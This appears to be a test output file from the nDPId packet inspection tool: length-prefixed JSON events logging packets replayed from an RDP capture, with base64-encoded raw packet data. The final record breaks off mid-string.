+00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1643,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1644,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":658296,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1i70AAfwYmrMCoAo6sEAK5DT3NDkeglCz5vR7WUBj4qkdjAAAXAwMAMAAAAAAAAAIWZmp1lkvSbc6dUpGvZNf+W2WaZ+OMW0\/NxBSRUH3kGSzDwTVgBKUcFA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1644,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1645,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":658341,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9H31HoJRhUBAf\/k5OAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1645,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1646,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":658507,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9H31HoJRhUBggAHasAAAXAwMAOOAIO32NJwwvNqxWHZSj8lJXf3W6MhnaNNH7lgJmlmuviulZl6Wv3egvHpBR\/W\/zU5oUFGuTPCET"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1646,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1647,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":658579,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1i8EAAfwYmq8CoAo6sEAK5DT3NDkeglGH5vR7WUBj4qmHkAAAXAwMAMAAAAAAAAAIXSLC6jxHQh3UdirdqD60Yl4wkv4\/X7czd+cEVofJ9Af0rPd2JcXoZVQ=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1647,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02077{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1648,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":658634,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFi8UAAfwYh5sCoAo6sEAK5DT3NDkeglJb5vR7WUBD4qpnFAAAXAwMGbwAAAAAAAAIYucLFYbT5fNiJFSaqTtJ3cjzzkFkXChpBePEW9Djitn9qoVjpo2KoIwWlZKYj5cVl2GhGdD\/O\/UOeItbp0ajzjsA\/XJAOb6b5qSKzKUnRcE1Wy+1P61jnUS59bEVXN6lWCaepxJkbG3Km\/RQY3rn6ogqdg11x3edkI9xr3gpLVDPR1OiJDEhm63xFhiaEWGUwaQRtLQ+0dPMftWL4Dwaw0LpD33dX\/39F\/yy5c3576Ou8xELirnmMuYzh+WzEWQgQMbn\/IejZXTKI9DHNO8cV7y1sMULvbOdufku09kc\/9wisC8N\/JVFOHuW2Bja2QYQs6OBikpOdJNEAOJk+4dsQDb5JbogYACwT46MUiT5O05mDt4NKndWhQHqjnEEOQs2sHK1vtoRoTp+mkYv9ZDTtFXNSyyccrXabU6pGYzbgRpVsM5wxFM6Hhya8aZlowfatj0AzunJ2GoKvGI1LBHYlhsQTKdOuQ456k2yzHpVxkQ39GQ55b4LjpsEGLWp\/PQYXXT9lIaBzo3wIhYWmer0KaBZLaLB3rPUFAnEgwNmmbtroMuVMB+WxUBi6FZ6m0nFhBM1Y7JeA+dvC891wAE\/+amWmYj8Bhxq2OSv+1QIglugMWU8NLj7ri171bNFpgUNDyOePHt5HQXbwmBMhZsm++EQjj8SIj7P69vCXmiLGUVknBU\/yXX9QgZ6bHmScjaujyxTWyFc6RiEqB+NbLhb8KBprm3c6XaI75oRp492\/illp7LzKi1IGG7f9EzaFAvNLZde6sQMETLF2SEAdNf+9vglanrAWZ\/ENflteuFNQ2BzsJwBSQgjdtxX8pv2u96khcn+xoZg5pt9NzdepDqDAd9jbuO38K2CJluf6EeuxjK+jDwLNoS2POf1D1XQp9AYGfKXr6XPSMOMtITe90R86aPqSENBD6oFLP8y\/Dd9gZj5Ykp4RPiQ7FlhPrBpF7s66We++W7JZ\/HU3XKAmcphBCYUN6V6+hgsagc8a7BGgKhK+aMQId7qOxeosrx\/e4qa4b1AdRIH4SWxjjaZtRo4lOK4XV3YsFYw+e6c92dPBXScQQyM0pseL6zrx6xGTvFm9TEUoKxmoVECElKsxAryMsvjO6xQz4GbGUOKGQxIcQ5NGmxW04lxidOGgjtvOlom\/+4fOv80tYFx4i7EKKmBwIlmMOP2odRlZoxwnCL01llPqu\/e6w9RGgJmWMk99Ssx\/QplY6pZFcIPCRLLqqud32kuLujMBkpLg8A5BgIGQNkORJmgBttr0r9nR1vkvaLTcbcXjXksaTZrv8044DzZUFDGzx2jMuYfqmb\/a2LhSNvRH8voqH5WlkONjuQGGVeBlk2+1sDdRVRNh\/adPC81U+vWgzBmXX9XjClAxbSu\/iYMRB3fcIWYi\/bqMtgPCmBaRv9637VtYPqK0AfvQm9lgyBGH3iiUInxXGfoSrfiGjfyqn9WEP1BUsiyOj\/TCETudvSBbp23XWeXwY+E5g6WdO0hFkLHM4BSdouwBZFEaDoeTMQ2E8tsriiL2Zv82zBAs4LRPBp7Zea+tPgEkB6smKLEQn1OsiiTJ1FCJ0VgsuiMNyrc2HJsb19DUMVTaqpAAqjEc00PBaj+CT6YoQ80Latc+j0zsZ5MckJfaBWVq24rXxvP7jXrLnkVWp\/Uq5bhEmkFbqv0UihR+AKVm"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1648,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1649,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":658682,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9H7pHoJSWUBAf\/k3cAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1649,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00871{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1650,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":658812,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNi8kAAfwYlY8CoAo6sEAK5DT3NDkegmY\/5vR7WUBj4qovJAACPKU5h\/+szM+zRS5CdTaRpVj4ykkl3HwNM7yhr\/JSy0T2cFBT2\/w8nt58wHhdiR+lweE5cABQJNGgpk90wxQRrrs7ORyRdPkklcm2Eq8L6soXO6iuChUjMK8AIZj2sitt3dHTnQ0uKlNRJVNEgJYQzqBbw7B198L6DYu48NlQHdzk2+MBUnvcI5KRPGiU2\/9zHM7gmkTnDekQJ2sgIiYxa2wfF6Yq4HIy0IanMuRblpStgr48Fb\/\/6NqXwhIH+lzgVUpnZVDCbLVF1N9taoKIeUga5ouStx\/ult42MGpYdhYX75kDFbd5Gr4rd0vNTrG3Dmzw+SQcf86eEzJZSHy6kHPdMApWq5OE\/AdCnEdlRqXEEOk1TOk\/PHe3ktPUay+d6rguKMXuY9JLvua3c\/\/7qWwei0IRRFGN0HygiWtujsql3FVOSxiQzt5PM\/xj\/gY7loeQ1IMGvyzB9jI+G737JP0+xFADxxI2oRl5PBuBG5JF9xa6k2bNN5owv"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1650,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1651,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":658865,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9H7pHoJsKUBAf9EdyAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1651,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02080{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1652,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":659049,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFi80AAfwYh5MCoAo6sEAK5DT3NDkegmwr5vR7WUBD4qqUvAAAXAwMGbwAAAAAAAAIZ9291l8zWd4GwL7LhmkvW6CO11timuoxF\/e4YBRbyaKILNXyXp6MLJmqOJKM5ehv0s3PiTtQuzQxlhXGYVHujpc0YAjp7f4lniRLwfjJk\/YF9gJe8GJ9Et8j8mhl1ZUr74iLD7BiaUPBWltRSSGxKPoHJdaplUoe3JQWiwymuCnz4witTVlai3QCNHy99Wc+8BMTWuUGKh555TkXHblke5HNc8C0A6xFQoie6JkHD+UeN\/IA674r1GAKG2QJpNYrb3LbHj2FnIDn6bLl10fWb5XJsJhF0pDxxyePvL1YSaoThK9vi3RFgY3wdznzDaye7DRDMnI1jC\/7o6AFihZh82RXkp7TPLlFsqFknVV\/YoTEF71YfjowbAURJI+8hDVLoEWYjAXX2yk8RN0BchQOIwpzdrhtLSbCL46DtdPfSua1uOyWZ9TDLqNY8Wa0IotSNMmmb3hlOAo86PfjRDkGI3hw9YNJfX9g42UgdDRXhZsPEW1nZDvMb3gThgfQluf+4\/R9KNL3OxJ6CKMx9oxvDotpQpx0dG5h5rae4FFrnKcVdSb63J6CSBiZaVDlqAKgs8aUqudCJ4SWduuQV+0o4+zHnWgXSfdEepmp5rY6BjxET4ATnD0ckrrvGf8NKeecb5PCBOl\/33cA\/ktYI9Fi\/uEbJUoiAmwKErBIqIp+N13piupdKAQAAjDyTbaLGm+rxai2xMo8h+zG8vq04uyAqUTB6hHIjE\/417tTSLHb2FSYmKth9mkiH5n9HleAw0Zc5Rf\/zzOWTyI6DSL0JjhVFiX5ynvnBncTl\/PAsn9kAygYWgYDW2g59au+DYOr\/l8ZytAUV8PjcQSK+GlNtgNbEqAaZ8MR\/fozMIhdUPwro0vSPshyhzGVp9avvmmGEC7NpPEjOP908FI2H0F2c4L3KC+WnI6KhjVzp6E1DP1ybxsoNwQjdAv0XBe0u34Zip7qnqhP6Hku+uhadYJl8dg57ZLuDHJw03S5vcT3qp16PJCg6\/m0Hq8OldgLAJrZY60d4vXLZfLUHu93PbCQhUvHpYwvSwO7XT6uK+K17bOUp6OYqrPaqE0IxAmev1kwHHvDql5tI4v+Ym9R+dOJcOSkwYEs5zO4WStp2qD2ES0unFnGNlkUsnnAaip+M\/WGgYV6RPRD7B\/b9LYLrzPtjh8raRe0khBEm\/rJHFCLWdpTu2b\/vLxfh5DOVn8+yoIH3hbN9hVuR1o439oPOfV8o+6uXUycUJUXQXVUloH+OUNGMiR7M7+luqf9+3mboSC1q4+mjOtjlXqrTC5WMcn4cPv0kl4x7TXwjTiY64+hlHn1UwLDxgYlkFXH0IwGy\/LTnv3Lj2wvJIGua2t7dtGf0bAidLOLzLH9EuXQAz0iifLRoSe0OBE9Yw4fJ+yUhgy\/Aksqs+9NWbBRFwLRXFsgi7C6b8GTGM\/Yo6mMd\/d+d3DiYfNXQFo8Js1WGSg8JnwJ5fbUhGs\/5bw3mNgqDplBZBGDCbgmmg3Mh7UzO7QUjoAYi\/bTLjq0c\/nBzitgXR8bSjgudg9pYr0CAT25k2dlmnKz58aS3wzsYfyoS6Bi3WUpkaj\/k2+bgPYUlbvo10mTcGnWo+0USMuo5wrU+IiIZ1E2doCgAyP8E64kdbRYQ+ocCM1bioUKHahUzV\/D\/gIU5TZGVYjdjldFugwTbL3ux"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1652,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00866{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1653,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":659088,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNi9EAAfwYlYcCoAo6sEAK5DT3NDkegoAP5vR7WUBj4qt4GAAB4RzUNiEs++MDQooY9Ixlqy9ipJAQKj3+uHMJTWafTnlUC+RIkpvmU5dduYwH8whkWWTO8FayFpfLOUO1r8z9UXhMiMX7jX3uOOk8m4DIx8w+H8HMDWh5qe9B8h63HOvXKTQm1Disi7DXUvzlQCrQyWWx4S87+8Roabfb9n+3VUR3Xm9lXPX3mbrxFOr6lETY\/\/8VibeCMkgTYLRskGsDWMgm9Avv\/6x91JZg8sF43V4FFVbF3yw\/1w5qDqvmv6SQ9ooEZCGD2g+aKbmiO\/UhPf1Ce6M11rAeJF+7Xe\/t+U4abyJjaVYmaESvCsihj4DNmZ7RG+nlNcSGHiYpmZ4K7SaybRyWQ7Y0ShCaquKWT0VeNmcssCahaaserFDLuZJe2dcgbGhin6NpGtsZeWlpS8UZO\/Y3Q4paU9Z\/9Ff+xlf35NXJy90uHtATPwc5b43HG2N5akidAOIqE+rABxbmq5wbqHp\/Jc5TT2R5OvPs0fsOFVwf67OcZvftz"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1653,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1654,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":659123,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9H7pHoKF+UBAf9ED+AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1654,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00426{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1655,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":659174,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1i9UAAfwYmpsCoAo6sEAK5DT3NDkegoX75vR7WUBj4qmV9AAAXAwMAMAAAAAAAAAIa9uqIo85\/vRcjDVUAGR3NM52g\/1f59IuNuEWf45B1yuqpuD\/URJH99w=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1655,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00353{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1656,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":659201,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9H7pHoKGzUBAf\/kC\/AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1656,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02075{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1657,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":659431,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFi9kAAfwYh4cCoAo6sEAK5DT3NDkegobP5vR7WUBD4qunRAAAXAwMGbwAAAAAAAAIbO02AcPpArVkh4q+uZKO63sMcimTjoqSzoA5+h6BlYQVFDe5HSQZW5IVkKdvMJEZ1xJsMNcqYjdfPj1leXEsPJ4FwMtSJatPsu93i4z6D0uufD6na\/37os4HVaIwkL867LShpcXdhT+8PE0tyhzWCPn3vwLxbxtRYeUQyUMici9FyYv0EdL0bYOI5M7hlI+1CptCHqlwOv+IYdCiWRBk+UCqhfKljQup+6Qznq0cWwrvXgpHH\/+oj5QfqFRJaippkvAiQ3ov70zd38s1Qbs2u\/4t8WbMfZIy3QJr+jJoZiBnADQ7tdeJ9asZC\/RSSSTSzyhh6AqxeT9uDw2Jy2\/OlEQiPZXcOJHTlnGbYwN84c8Gv3yatV4IGmHTxahZueTjAYSDYrBBOtxTBWBEOUS3SzN0HtxG8A9xoG8NP1qNTJ8DxDNyfF+LI5lSf4+SCK54CMlqraqwytEvwle6luKMRB9lnOuQ1SOJwI1RvsZYzNA1YK+L7WZIM3ww7+EP9ofREsph63cbIH\/zoH1Ddvv0wLxGNZDSgWszOi4UzVvPaEDP8ObbMlt0zjrYBqbXNHtN2WXy7KMwRYSakLDkNqbbDfRGUTwRbq\/bsZBVZCPESXhVJCFojHyh4GN8qqr\/ygUcx3sHTEdlLo3o\/waOG4sr+z9mwQ+5LAFfMqoH0EqMNG\/UFwBLXWpvwobmmSwF1HUCYLFZJX5s6j56cnya67eCOdxsqbTnK2LlU63kRFgrV1eYCMl238hkS3TbjrD+J0cO4KC5osFnQ5mcyeADBhlQZspgI258d8LSWx1yzMloZMXrhqgMoiaLGljISJWEeiILpFY6as\/5X7pDca3MZ\/Lf7Kxib7gRFk+ZjcAe7OzumKg+jbjaUBdRGBcXnxOnArVGJcbgHj0cxbxW37CSf8la0ikmqxviHUNADF9sKgoeAWC3sXOaeteZ72BiZC95Q9YAhUrUTzvQhONjqyjd8kXCYAiELuX66SBweNg0y6PknlOkTYtH6W9w7w4U60906ID20HzvOy3DeyLPk2zijowodLtpfWaXgAz4d13BF2TNjL53I6a428JudN7+p+CtbxsO+frTXNHXhkHput0ilHLwyKZgSq\/0O\/ZMiCKjOZcJj40AaK3h8KhUGdn04b+1TK66pLjTIOH94jxR9vSoUECHc5SzZ6YhSw71cFKvvXmyzn5Rafz4zsAY6eQsMCdRXqjlpz41dicy3fg6hje3vdATY0KcwQbSww7XkHbnX0k5\/FaWpw7tTuyAr0zp6n4CbuqlLXTYcqgDrt9T9NynX+KwQl4QFjxH10jAmzQNiJ\/K5kmDt+ispIuYqO+Spv92\/cPPoRqbxT+v6qLtMQp8DYcrH9wY84TZ1cSoRnIBRF8c9NTQBuaZbZ5CfdHTskDJR0OqoS5d234vrtQRfS0bdA\/xFZ7v5\/PcWxBEjIz53ckPqKlvK3qUKDlwspKQDp9gDXzRVQZSBJzVHn15CCI\/mlAJryC4\/boZrVMaq7QbrKmix4PT6rChdJ41T5RCtCamaQq+gckmh\/0c+GnyC\/2R92HcHcKJ9v+7EYhFYxJjuu44Jrrtup+8PspOA5gHMPkwCUxOg2\/pw58vjpV+HT9wTqcXlIZgDgyAni2s0uxg8wJYvgpF1AXhNvs9gGxuoUxbbxtgKDbh575PdAMjLKwBt"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1657,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1658,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":659515,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9H7pHoKasUBggAIEjAAAXAwMAMOAIO32NJwww4LG8fGIdKShri5yL9ToHChpTuJ0+jOilgqR2CE4w4hxwZB\/MqtEgow=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1658,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00863{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1659,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":659559,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNi90AAfwYlXsCoAo6sEAK5DT3NDkegpqz5vR7WUBj4qtP4AAAadRWVdT6CfPXkuddN5xhq94tYUKAVW+2zyEjabDue0HgbFucAtTcuR3OpmzLaNBGMNqFAszZzKB64dtCwv3JiUKgRWazXea3mGAYuBRf3O5IB3CVX5vDA1hOggkxaf4uvJMk0rtqIq7QRy842w66LcYIMKZrRu7Qn671ZG+AZL+OEvxhpNBeG1kCsEgfcFTBdKGNTREs5lnm4wCOBeF2iSHyZr6diqhJfyqZm2mRQluSbgX\/e0m6B8+Xm7Zh7tb2XiWKz8808+RCBLbe2gjXBJFMJ64jSNCYMXkLK0HXR\/f6+dnBzZo6kD90nGFft7O9avaNTbOV7vj8sYunOf4I4uVnGEUdBWaO2MZQJ+Hhuv+7JFjgruh1JO9HI\/HWDeFIqqHtaVskxNVnrzSVlGEVtcNO2MSEJfmW5yPG\/JfghtRD8zDO2phoB0UwzQYFZM3TAoKsAqjlAv9jO36\/7iAC2xQZHrQK3QzyAnB7\/txH8B4RmUcp59Z98cUrF"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1659,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1660,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":659588,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9H+9HoKgnUBAf9DogAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1660,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02073{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1661,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":659807,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFi+EAAfwYh38CoAo6sEAK5DT3NDkegqCf5vR7WUBD4quCaAAAXAwMGbwAAAAAAAAIcPBzuQ\/VbVyHQNW\/gk6RmiKBQKw6PFkpVYTmnKK5Uyen9Rxz5fAXrV5SP4jbxbhVwnxSwfkfSXiFr38xJ+egGimI8mfmlgksBiFBC20fE9d3SR8HacDeEF+o2V67QTNF8NRRC+lEMuB0ir7u5XlGdVHMsdGmUkmEEhc6xapqzWvG88aExbOBFaCnvYiO+QlDQpGGQWM2j4RWfMlhnJYNQnfiOWBZAEz4an5RB4pd27LZThiKJ3hwIjWF1BeWm2Jy2jt6ooyEm9bZxUKcIDv5Ambu5wrTK0zSDIMgc3ONtmpGgfUeqvDI6tEh7pzGBtpeFt7TpPPummc\/1wKv5rpSTTKWGBIRdCXL0ya4WWOO6c1OtSlCNACoFN1\/FS\/5HUtrDSWvVx3HNB8jTMq\/Q13hv2Vz4OHpMLMWsKYN0eEalYHFzRIdU1pF6aO6oH7tNNQrIh7C3iAEmaqu6MjGC2ShzFiTIbDQJeLcU6r7EV22tRJseRi1okfq5HufFteTZvz2giiIxwyYowdeJFU5SRzPKgcfQFnvOKwCbFA5DJYWXx1t8RPuxJGynMrN+q4MPfgzcVMFytxt1f46277jX16tbGsFXLsGme7Os3usxTQ9LxJLuWLvPkY0zZBNSNLiZIDuMqFJsJtTi2uHool\/Juo9RGc1EqASRIMgzKctaGGM6WJG0XIlihg8XUURNf73wqFNHAJn+FaTbZWVRwP5hZ9ocDI7OJ6y55lvudOuoAL8BCWl63wXeMCY8zHXH7\/veA6fm+OZUBSItyTokn+rUm0lEDZhON3EUTleeodBOoYymbI3jqHY7zP8jbUpNru6NH4my8oQqCevjsFlgwOS4ENto6zYBx5vu5qWZi4Zk6apds9b7LSjWmSAtOoOOrlnZl9C4rRHTAier2wLA345+ee6LxWzVXCqBWpDzA\/fEM4nOSFXixsfT5HgYNL9nz25jaa4TXtQcUinRu67xBsvIW+ips2Hu\/Nxvk1tmxp1B67kJPS1KlUu\/sQ3LrMbF6NQIL5lNWoi6HFNidL4RZZuicRFuOx2aOi9QwLTHyPbRtU4JcwJTkSW0H5YUtWySiyroRtw1Z0ixGhS9KgOEbklyPHh3OxbZObKU6JSAMabyXzDuBpsn1Vezi5hdRVph749yxgr9PVJT8Yk5Mf5pmdE0XrMJmBG87KpfOejrAayA3vUvWcQiRV5ARVIt7JntS6CQq5PDfBKi\/i5H00V2jErqLi9m4K+C1KBpaozufaP2F0EXHFN1K9Wa3W9XtRCBWENzw6jwD8+RmwkkPevOoccaCf9A2oq74JS+ibcGXzeCU+QFNvYxJuE8wuDRqPzfLbhbiDDj8lkrP\/MOFN4yXI52n21Vo739yXsiS7LHSwLoUapO4McWpzzX1\/K1U4uqBcLZBBSG80s+IZhRcfRk7tdedWNvLcT6MM5NO3BBzyegjRvjHd9usdD6V7NUP\/b1UNHuYekFg16pDUX2JpCY\/eyYq1D+QSNCwRPpRGvpgMTqmoWjaNXPRR\/Usj2ceatopq7\/iMZlfrpdbMPurSK1y\/JnP3UjHBwqcc1xLidpbs49oEvbOG5BjcMBqZmFJkvAWoLxKlp6HVwpGbniCd57cIHXpvj3+hMHNhYDxtfE7ybv1\/jFM\/k2bNlcnDaASD1FOgE+XPtnJ\/VIfrUZDtX8Qu3W"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1661,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00867{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1662,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":659839,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNi+UAAfwYlXMCoAo6sEAK5DT3NDkegrSD5vR7WUBj4qjmGAACSkFrxbBsJFRNra1mSdHiOMrC8n+NOvnSXBLNoztGfk7Y6vnsKkowbmuvTdz5dBwaODn9iR7S0u8uDtRp6DqgFJ2oIh+H5gh0xRYC9bKlYHkgXnT\/3JPiG7hESwBasSxE7gSjLEzs\/WmMdxk+Zm6x8j\/YQL5U0bNIPyu6gO7UIb6aYVxGUs3sl88cdqxNt5mMnfPRo97rZLgvQmlL\/yO1QaqxRptnAbLZdndt4D\/zTvFgQB5nm2Pthi75DXMuMh1TTc5q21WPuk1yHeIQB9JLgXMMCcPnWu83w1QIy\/cfB8sBimyr8qjd6+AtSJ9lPOL9IRgwWsZhsSHJhMW4XNvrd0\/MAy8HsLifCb1TXE9AVqX2a36G7win0bTcrTUsAR72RYEYxfcZYxgTJZkHj9jlf2nXfpaBhc3+jaRMWY2l8LSfFKjDu5rpqAms\/I96ovLYW+3I19qfZguHZ83PgAWNZQ\/2zWRLYSI\/F9Toit1m6B8Ot1phrs